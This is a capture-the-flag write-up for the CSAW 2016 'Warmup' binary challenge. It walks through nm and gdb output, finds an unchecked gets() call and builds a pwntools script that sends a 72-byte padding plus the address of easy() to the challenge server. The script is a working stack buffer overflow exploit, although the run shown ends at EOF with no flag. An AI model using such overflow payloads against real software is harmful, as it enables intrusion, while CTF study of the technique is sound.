CSAW '16 - Warmup

September 20 2016

This challenge was an easy PWN challenge to start the competition off.

Running the binary gave the following output:

[[email protected]~/Downloads] $ ./warmup
-Warm Up-
[[email protected]~/Downloads] $

As can be seen, a hex value is printed which seems to be an address to something, and then a prompt for user input is made - probably using gets() or something else insecure without bounds checking. There is a good chance that this is an address of a method within the executable. To confirm we can just run nm and pray that symbols haven't been stripped.

0000000000601058 B __bss_start
0000000000601058 b completed.6973
0000000000601048 D __data_start
0000000000601048 W data_start
0000000000400550 t deregister_tm_clones
00000000004005c0 t __do_global_dtors_aux
0000000000600e18 t __do_global_dtors_aux_fini_array_entry
0000000000601050 D __dso_handle
0000000000600e28 d _DYNAMIC
000000000040060d T easy
0000000000601058 D _edata
0000000000601060 B _end
0000000000400724 T _fini
00000000004005e0 t frame_dummy
0000000000600e10 t __frame_dummy_init_array_entry
00000000004008a8 r __FRAME_END__
                 U [email protected]@GLIBC_2.2.5
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400488 T _init
0000000000600e18 t __init_array_end
0000000000600e10 t __init_array_start
0000000000400730 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000400720 T __libc_csu_fini
00000000004006b0 T __libc_csu_init
                 U [email protected]@GLIBC_2.2.5
000000000040061d T main
0000000000400580 t register_tm_clones
                 U [email protected]@GLIBC_2.2.5
0000000000400520 T _start
                 U [email protected]@GLIBC_2.2.5
0000000000601058 D __TMC_END__
                 U [email protected]@GLIBC_2.2.5

Listed there is a function named easy with the same address that was printed to STDOUT when we ran the function. So somehow we want to redirect the executable to jump to this address. Being a challenge with only a small point weighting - I can assume it will be a buffer overflow.

Firing up gdb we can run disassemble on main() and have a look what's going on - as I can't imagine this bin has too much code.

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x000000000040061d <+0>:     push   rbp
   0x000000000040061e <+1>:     mov    rbp,rsp
   0x0000000000400621 <+4>:     add    rsp,0xffffffffffffff80
   0x0000000000400625 <+8>:     mov    edx,0xa
   0x000000000040062a <+13>:    mov    esi,0x400741
   0x000000000040062f <+18>:    mov    edi,0x1
   0x0000000000400634 <+23>:    call   0x4004c0 <[email protected]>
   0x0000000000400639 <+28>:    mov    edx,0x4
   0x000000000040063e <+33>:    mov    esi,0x40074c
   0x0000000000400643 <+38>:    mov    edi,0x1
   0x0000000000400648 <+43>:    call   0x4004c0 <[email protected]>
   0x000000000040064d <+48>:    lea    rax,[rbp-0x80]
   0x0000000000400651 <+52>:    mov    edx,0x40060d
   0x0000000000400656 <+57>:    mov    esi,0x400751
   0x000000000040065b <+62>:    mov    rdi,rax
   0x000000000040065e <+65>:    mov    eax,0x0
   0x0000000000400663 <+70>:    call   0x400510 <[email protected]>
   0x0000000000400668 <+75>:    lea    rax,[rbp-0x80]
   0x000000000040066c <+79>:    mov    edx,0x9
   0x0000000000400671 <+84>:    mov    rsi,rax
   0x0000000000400674 <+87>:    mov    edi,0x1
   0x0000000000400679 <+92>:    call   0x4004c0 <[email protected]>
   0x000000000040067e <+97>:    mov    edx,0x1
   0x0000000000400683 <+102>:   mov    esi,0x400755
   0x0000000000400688 <+107>:   mov    edi,0x1
   0x000000000040068d <+112>:   call   0x4004c0 <[email protected]>
   0x0000000000400692 <+117>:   lea    rax,[rbp-0x40]
   0x0000000000400696 <+121>:   mov    rdi,rax
   0x0000000000400699 <+124>:   mov    eax,0x0
   0x000000000040069e <+129>:   call   0x400500 <[email protected]>
   0x00000000004006a3 <+134>:   leave  
   0x00000000004006a4 <+135>:   ret    

So we can see there is a call to gets() at main<+129> right before a ret. This screams buffer overflow. What we do here is create a breakpoint just when gets() is called and step through until we can input a dummy string. From here we will take note of the stack address at which the dummy string is stored.

gdb-peda$ b *0x000000000040069e
gdb-peda$ r
gdb-peda$ ni
gdb-peda$ AAAAA
gdb-peda$ x/32xw $sp
0x7fffffffdb30: 0x30347830      0x64303630      0x0000000a      0x00000000
0x7fffffffdb40: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdb50: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdb60: 0x00000000      0x0000ff00      0x00000000      0x00000000
0x7fffffffdb70: 0x41414141      0x00000000      0x004006fd      0x00000000
0x7fffffffdb80: 0x000000ff      0x00000000      0x00000000      0x00000000
0x7fffffffdb90: 0x004006b0      0x00000000      0x00400520      0x00000000
0x7fffffffdba0: 0xffffdc90      0x00007fff      0x00000000      0x00000000

Here we can see that our string is stored at address 0x7fffffffdb70. What we need to do now is get the address that the return address of this frame is stored at.
We can find that out by running info frame.

gdb-peda$ i frame
Stack level 0, frame at 0x7fffffffdbc0:
 rip = 0x400621 in main; saved rip = 0x7ffff7a2e830
 called by frame at 0x7fffffffdc80
 Arglist at 0x7fffffffdbb0, args:
 Locals at 0x7fffffffdbb0, Previous frame's sp is 0x7fffffffdbc0
 Saved registers:
  rbp at 0x7fffffffdbb0, rip at 0x7fffffffdbb8

Therefore the address is stored at 0x7fffffffdbb8. To find the number of padding bytes we need in the payload we simply find the difference in position of the return address and the dummy string address.

gdb-peda$ p/u 0x7fffffffdbb8 - 0x7fffffffdb70
$1 = 72

We know that we need 72 A's in the payload, followed by the return address (the address of easy()). We can write up a quick python script and ensure we are packing the return address in 64-bit format - otherwise issues will be had!

from pwn import *

payload = 'A' * 72 + p64(0x40060d)

target = "pwn.chal.csaw.io"
port = 8000

r = remote(target,port)

print(remote.recvuntil(r, ">"))

remote.sendline(r, payload)


And the result is:

[[email protected]~/Downloads] $ python c.py
[+] Opening connection to pwn.chal.csaw.io on port 8000: Done
-Warm Up-
[*] Switching to interactive mode
[*] Got EOF while reading in interactive